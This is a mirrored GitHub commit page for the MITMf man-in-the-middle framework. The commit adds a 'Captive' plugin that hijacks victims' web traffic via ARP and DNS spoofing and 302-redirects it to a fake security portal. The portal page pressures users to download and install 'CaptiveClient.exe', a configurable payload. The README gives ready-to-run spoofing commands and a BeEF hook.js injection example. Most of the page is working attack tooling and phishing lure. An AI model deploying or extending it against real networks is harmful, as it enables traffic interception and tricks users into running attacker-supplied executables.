mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-07-07 05:22:15 -07:00
Merge pull request #254 from onedv/master
Captive portal redirecting using 302
This commit is contained in:
commit
0e81e40388
5 changed files with 214 additions and 0 deletions
4
.gitignore
vendored
4
.gitignore
vendored
|
@ -57,3 +57,7 @@ docs/_build/
|
||||||
|
|
||||||
# PyBuilder
|
# PyBuilder
|
||||||
target/
|
target/
|
||||||
|
|
||||||
|
# OSX Stuff
|
||||||
|
.DS_Store
|
||||||
|
._.DS_Store
|
||||||
|
|
21
README.md
Normal file → Executable file
21
README.md
Normal file → Executable file
|
@ -112,6 +112,26 @@ Inject a JS script:
|
||||||
|
|
||||||
```python mitmf.py -i enp3s0 --inject --js-url http://beef:3000/hook.js```
|
```python mitmf.py -i enp3s0 --inject --js-url http://beef:3000/hook.js```
|
||||||
|
|
||||||
|
Start a captive portal that redirects everything to http://SERVER/PATH:
|
||||||
|
|
||||||
|
```python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive --portalurl http://SERVER/PATH```
|
||||||
|
|
||||||
|
Start captive portal at http://your-ip/portal.html using default page /portal.html (thx responder) and /CaptiveClient.exe (not included) from the config/captive folder:
|
||||||
|
|
||||||
|
```python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive```
|
||||||
|
|
||||||
|
Same as above but with hostname captive.portal instead of IP (requires captive.portal to resolve to your IP, e.g. via DNS spoof):
|
||||||
|
|
||||||
|
```python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --dns --captive --use-dns```
|
||||||
|
|
||||||
|
Serve a captive portal with an additional SimpleHTTPServer instance serving the LOCALDIR at http://IP:8080 (change port in mitmf.config):
|
||||||
|
|
||||||
|
```python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive --portaldir LOCALDIR```
|
||||||
|
|
||||||
|
Same as above but with hostname:
|
||||||
|
|
||||||
|
```python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --dns --captive --portaldir LOCALDIR --use-dns```
|
||||||
|
|
||||||
And much much more!
|
And much much more!
|
||||||
|
|
||||||
Of course you can mix and match almost any plugin together (e.g. ARP spoof + inject + Responder etc..)
|
Of course you can mix and match almost any plugin together (e.g. ARP spoof + inject + Responder etc..)
|
||||||
|
@ -137,3 +157,4 @@ For a complete list of available options, just run ```python mitmf.py --help```
|
||||||
- **Replace** : Replace arbitrary content in HTML content
|
- **Replace** : Replace arbitrary content in HTML content
|
||||||
- **SMBAuth** : Evoke SMB challenge-response authentication attempts
|
- **SMBAuth** : Evoke SMB challenge-response authentication attempts
|
||||||
- **Upsidedownternet** : Flips images 180 degrees
|
- **Upsidedownternet** : Flips images 180 degrees
|
||||||
|
- **Captive** : Creates a captive portal, redirecting HTTP requests using 302
|
||||||
|
|
31
config/captive/portal.html
Executable file
31
config/captive/portal.html
Executable file
|
@ -0,0 +1,31 @@
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<title>Captive Portal</title>
|
||||||
|
<style>
|
||||||
|
<!--
|
||||||
|
body, ul, li { font-family:Arial, Helvetica, sans-serif; font-size:14px; color:#737373; margin:0; padding:0;}
|
||||||
|
.content { padding: 20px 15px 15px 40px; width: 500px; margin: 70px auto 6px auto; border: #D52B1E solid 2px;}
|
||||||
|
.blocking { border-top: #D52B1E solid 2px; border-bottom: #D52B1E solid 2px;}
|
||||||
|
.title { font-size: 24px; border-bottom: #ccc solid 1px; padding-bottom:15px; margin-bottom:15px;}
|
||||||
|
.details li { list-style: none; padding: 4px 0;}
|
||||||
|
.footer { color: #6d90e7; font-size: 14px; width: 540px; margin: 0 auto; text-align:right; }
|
||||||
|
-->
|
||||||
|
</style>
|
||||||
|
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<center>
|
||||||
|
<div class="content blocking">
|
||||||
|
<div class="title" id="msg_title"><b>Client Required</b></div>
|
||||||
|
<ul class="details">
|
||||||
|
<div id="main_block">
|
||||||
|
<div id="msg_long_reason">
|
||||||
|
<li><b>Access has been blocked. Please download and install the new </b><span class="url"><a href="CaptiveClient.exe"><b>Captive Portal Client</b></a></span><b> in order to access internet resources.</b></li>
|
||||||
|
</div>
|
||||||
|
</ul>
|
||||||
|
</div>
|
||||||
|
<div class="footer">ISA Security <b>Captive Server</b></div>
|
||||||
|
</center>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
|
9
config/mitmf.conf
Normal file → Executable file
9
config/mitmf.conf
Normal file → Executable file
|
@ -38,6 +38,7 @@
|
||||||
|
|
||||||
[[[A]]] # Queries for IPv4 address records
|
[[[A]]] # Queries for IPv4 address records
|
||||||
*.thesprawl.org=192.168.178.27
|
*.thesprawl.org=192.168.178.27
|
||||||
|
*.captive.portal=192.168.1.100
|
||||||
|
|
||||||
[[[AAAA]]] # Queries for IPv6 address records
|
[[[AAAA]]] # Queries for IPv6 address records
|
||||||
*.thesprawl.org=2001:db8::1
|
*.thesprawl.org=2001:db8::1
|
||||||
|
@ -75,6 +76,14 @@
|
||||||
#
|
#
|
||||||
# Plugin configuration starts here
|
# Plugin configuration starts here
|
||||||
#
|
#
|
||||||
|
[Captive]
|
||||||
|
|
||||||
|
# Set Server Port and string if we are serving our own portal from SimpleHTTPServer (80 is already used by default server)
|
||||||
|
Port = 8080
|
||||||
|
ServerString = "Captive Server 1.0"
|
||||||
|
|
||||||
|
# Set the filename served as /CaptivePortal.exe by integrated http server
|
||||||
|
PayloadFilename = config/captive/calc.exe
|
||||||
|
|
||||||
[Replace]
|
[Replace]
|
||||||
|
|
||||||
|
|
149
plugins/captive.py
Executable file
149
plugins/captive.py
Executable file
|
@ -0,0 +1,149 @@
|
||||||
|
# Copyright (c) 2014-2016 Oliver Nettinger, Marcello Salvati
|
||||||
|
#
|
||||||
|
# This program is free software; you can redistribute it and/or
|
||||||
|
# modify it under the terms of the GNU General Public License as
|
||||||
|
# published by the Free Software Foundation; either version 3 of the
|
||||||
|
# License, or (at your option) any later version.
|
||||||
|
#
|
||||||
|
# This program is distributed in the hope that it will be useful, but
|
||||||
|
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||||
|
# General Public License for more details.
|
||||||
|
#
|
||||||
|
# You should have received a copy of the GNU General Public License
|
||||||
|
# along with this program; if not, write to the Free Software
|
||||||
|
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||||
|
# USA
|
||||||
|
#
|
||||||
|
|
||||||
|
# note: portal.html has been adapted from
|
||||||
|
# config/responder/AccessDenied.html for now
|
||||||
|
|
||||||
|
from plugins.plugin import Plugin
|
||||||
|
from urlparse import urlparse
|
||||||
|
|
||||||
|
|
||||||
|
class Captive(Plugin):
|
||||||
|
name = "Captive Portal"
|
||||||
|
optname = "captive"
|
||||||
|
tree_info = ["Captive Portal online"]
|
||||||
|
desc = "Be a captive portal!"
|
||||||
|
version = "0.1"
|
||||||
|
|
||||||
|
def initialize(self, options):
|
||||||
|
self.options = options
|
||||||
|
|
||||||
|
from core.utils import shutdown
|
||||||
|
|
||||||
|
if options.portalurl:
|
||||||
|
self.portalurl = options.portalurl
|
||||||
|
else:
|
||||||
|
# self.options.ip is prefilled earlier
|
||||||
|
self.hostname = 'captive.portal' if self.options.usedns else self.options.ip
|
||||||
|
|
||||||
|
if options.portaldir:
|
||||||
|
self.serve_dir(options.portaldir)
|
||||||
|
else:
|
||||||
|
self.serve_portal()
|
||||||
|
|
||||||
|
def response(self, response, request, data):
|
||||||
|
|
||||||
|
if urlparse(self.portalurl).hostname not in request.headers['host']:
|
||||||
|
self.clientlog.info("Redirecting to captive portal {}".format(self.portalurl), extra=request.clientInfo)
|
||||||
|
response.headers = {}
|
||||||
|
data = '''<html>
|
||||||
|
<body>
|
||||||
|
<p>Please click <a href="{}">here</a> if you are not redirected automatically</p>
|
||||||
|
</body></html>
|
||||||
|
'''.format(self.portalurl)
|
||||||
|
response.redirect(self.portalurl)
|
||||||
|
|
||||||
|
return {'response': response, 'request':request, 'data': data}
|
||||||
|
|
||||||
|
def options(self, options):
|
||||||
|
''' captive can be either run redirecting to a specified url (--portalurl), serve the payload locally (no argument) or
|
||||||
|
start an instance of SimpleHTTPServer to serve the LOCALDIR (--portaldir) '''
|
||||||
|
group = options.add_mutually_exclusive_group(required=False)
|
||||||
|
group.add_argument('--portalurl', dest='portalurl', metavar="URL", help='Specify the URL where the portal is located, e.g. http://example.com.')
|
||||||
|
group.add_argument('--portaldir', dest='portaldir', metavar="LOCALDIR", help='Specify a local path containg the portal files served with a SimpleHTTPServer on a different port (see config).')
|
||||||
|
|
||||||
|
options.add_argument('--use-dns', dest='usedns', action='store_true', help='Whether we use dns spoofing to serve from a fancier portal URL captive.portal when used without options or portaldir. Requires DNS for "captive.portal" to resolve, e.g. via configured dns spoofing --dns.')
|
||||||
|
|
||||||
|
def on_shutdown(self):
|
||||||
|
'''This will be called when shutting down'''
|
||||||
|
pass
|
||||||
|
|
||||||
|
def serve_portal(self):
|
||||||
|
|
||||||
|
self.portalurl = 'http://{}/portal.html'.format(self.hostname)
|
||||||
|
|
||||||
|
from core.servers.HTTP import HTTP
|
||||||
|
HTTP.add_static_endpoint('portal.html','text/html', './config/captive/portal.html')
|
||||||
|
HTTP.add_static_endpoint('CaptiveClient.exe','application/octet-stream', self.config['Captive']['PayloadFilename'])
|
||||||
|
self.tree_info.append("Portal login served by built-in HTTP server.")
|
||||||
|
|
||||||
|
|
||||||
|
def serve_dir(self, dir):
|
||||||
|
import threading
|
||||||
|
import posixpath
|
||||||
|
import urllib
|
||||||
|
import os
|
||||||
|
from SimpleHTTPServer import SimpleHTTPRequestHandler
|
||||||
|
from BaseHTTPServer import HTTPServer as ServerClass
|
||||||
|
Protocol = "HTTP/1.0"
|
||||||
|
port = self.config['Captive']['Port']
|
||||||
|
ServerString = self.config['Captive']['ServerString']
|
||||||
|
|
||||||
|
self.portalurl = "http://{}:{}/".format(self.hostname, port)
|
||||||
|
|
||||||
|
ROUTES = (['', dir],)
|
||||||
|
class HandlerClass(SimpleHTTPRequestHandler):
|
||||||
|
'''HandlerClass adapted from https://gist.github.com/creativeaura/5546779'''
|
||||||
|
|
||||||
|
def translate_path(self, path):
|
||||||
|
'''translate path given routes'''
|
||||||
|
|
||||||
|
# set default root to cwd
|
||||||
|
root = os.getcwd()
|
||||||
|
|
||||||
|
# look up routes and set root directory accordingly
|
||||||
|
for pattern, rootdir in ROUTES:
|
||||||
|
if path.startswith(pattern):
|
||||||
|
# found match!
|
||||||
|
path = path[len(pattern):] # consume path up to pattern len
|
||||||
|
root = rootdir
|
||||||
|
break
|
||||||
|
|
||||||
|
# normalize path and prepend root directory
|
||||||
|
path = path.split('?',1)[0]
|
||||||
|
path = path.split('#',1)[0]
|
||||||
|
path = posixpath.normpath(urllib.unquote(path))
|
||||||
|
words = path.split('/')
|
||||||
|
words = filter(None, words)
|
||||||
|
|
||||||
|
path = root
|
||||||
|
for word in words:
|
||||||
|
drive, word = os.path.splitdrive(word)
|
||||||
|
head, word = os.path.split(word)
|
||||||
|
if word in (os.curdir, os.pardir):
|
||||||
|
continue
|
||||||
|
path = os.path.join(path, word)
|
||||||
|
|
||||||
|
return path
|
||||||
|
|
||||||
|
|
||||||
|
server_address = ('0.0.0.0', int(port))
|
||||||
|
HandlerClass.protocol_version = Protocol
|
||||||
|
HandlerClass.server_version = ServerString
|
||||||
|
|
||||||
|
httpd = ServerClass(server_address, HandlerClass)
|
||||||
|
ServerClass.path = dir
|
||||||
|
|
||||||
|
sa = httpd.socket.getsockname()
|
||||||
|
try:
|
||||||
|
t = threading.Thread(name='PortalServer', target=httpd.serve_forever)
|
||||||
|
t.setDaemon(True)
|
||||||
|
t.start()
|
||||||
|
self.tree_info.append("Portal Server instance running on port {} serving {}".format(port, dir))
|
||||||
|
except Exception as e:
|
||||||
|
shutdown("Failed to start Portal Server")
|
Loading…
Add table
Add a link
Reference in a new issue